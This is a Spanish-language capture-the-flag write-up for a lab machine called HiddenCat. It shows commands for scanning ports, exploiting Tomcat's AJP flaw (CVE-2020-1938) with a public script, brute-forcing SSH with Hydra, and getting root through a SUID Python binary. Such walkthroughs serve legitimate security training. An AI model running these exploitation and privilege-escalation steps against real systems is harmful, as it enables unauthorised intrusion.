> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/hiddencat-write-up.md).

# HiddenCat write-up

Lo primero que hay que tener en cuenta al hacer esta máquina es que solo se puede hacer con el sistema operativo Parrot OS. Dicho esto, empezamos con la máquina.

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/Fp6HKUv49QkujGBD5oRc" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Usamos la herramienta **Nmap** para escanear los puertos abiertos en máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCSV --min-rate=5000 -Pn -n -O -vvv 172.17.0.2
```

<figure><img src="/files/yb4LYaqQGErIPlv6A0Y2" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH), 8009 (AJP1.3) y 8080 (HTTP) están abiertos. Además vemos que se está usando una versión vulnerable del servicio Tomcat (9.0.30). Por tanto, vamos a usar un script para explotar esta vulnerabilidad, el script se encuentra en el siguiente repositorio de [Github](https://github.com/dacade/CVE-2020-1938/tree/master). Esta vulnerabilidad consiste en hacer peticiones maliciosas al servicio **Tomcat**, ya que no se validad correctamente, para explotar una vulnerabilidad de Inclusión de Archivos Locales (LFI, Local File Inclusion), pero hay que tener en cuenta que **AJP** se encarga dirigir de las peticiones a **Tomcat**y por eso pondremos el puerto 8009 en el script. Para clonarlo usamos el siguiente comando:

```bash
git clone https://github.com/dacade/CVE-2020-1938.git ; cd CVE-2020-1938 ; chmod 0700 tomcat.py
```

El archivo **`/WEB-INF/web.xml`** es el descriptor de despliegue de una aplicación web en Java EE o Jakarta EE, así que buscaremos ese archivo. Para usar el script lo ejecutaremos de la siguiente manera:

```bash
python3 tomcat.py 172.17.0.2 -f /WEB-INF/web.xml -p 8009
```

<figure><img src="/files/rxI4c1GdcZr0R4Lci47Q" alt=""><figcaption></figcaption></figure>

Este fichero nos indica un posible usuario llamado `Jerry` así que vamos a hacer un ataque de fuerza bruta con la herramienta **Hydra** ejecutando el siguiente comando:

```bash
hydra -l jerry -P /usr/share/wordlists/rockyou.txt -I -V ssh://172.17.0.2
```

<figure><img src="/files/hTsZ8ufbgli1w9Ksm5vd" alt=""><figcaption></figcaption></figure>

Y nos indica que la contraseña del usuario `jerry` es `chocolate`, así que entramos en la máquina víctima por el servicio **SSH**.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `find / -perm -4000 2>/dev/null` que buscará archivos que tengan el permiso SUID activado, esto nos indica que podemos ejecutar una versión de **Python** como usuario. Por tanto, lo que haremos será ejecutar el binario bash con **Python** ya que no nos permite darle permisos SUID al binario bash. Para hacerlo haremos un archivo en **Python** que tenga lo siguiente:

```python
import os

os.execl("/bin/bash", "bash", "-p")
```

La función os.execl ejecutará el binario **Bash** llamando al proceso **bash** y con el argumento **-p** para que ejecute la shell con privilegios elevados. Finalmente, al ejecutar el archivo de la siguiente manera, ya tendríamos una shell con privilegios root.

```bash
/usr/bin/python3.7 archivo.py
```

<figure><img src="/files/1fBjZcFdoXPJwVCzMSKa" alt=""><figcaption></figcaption></figure>
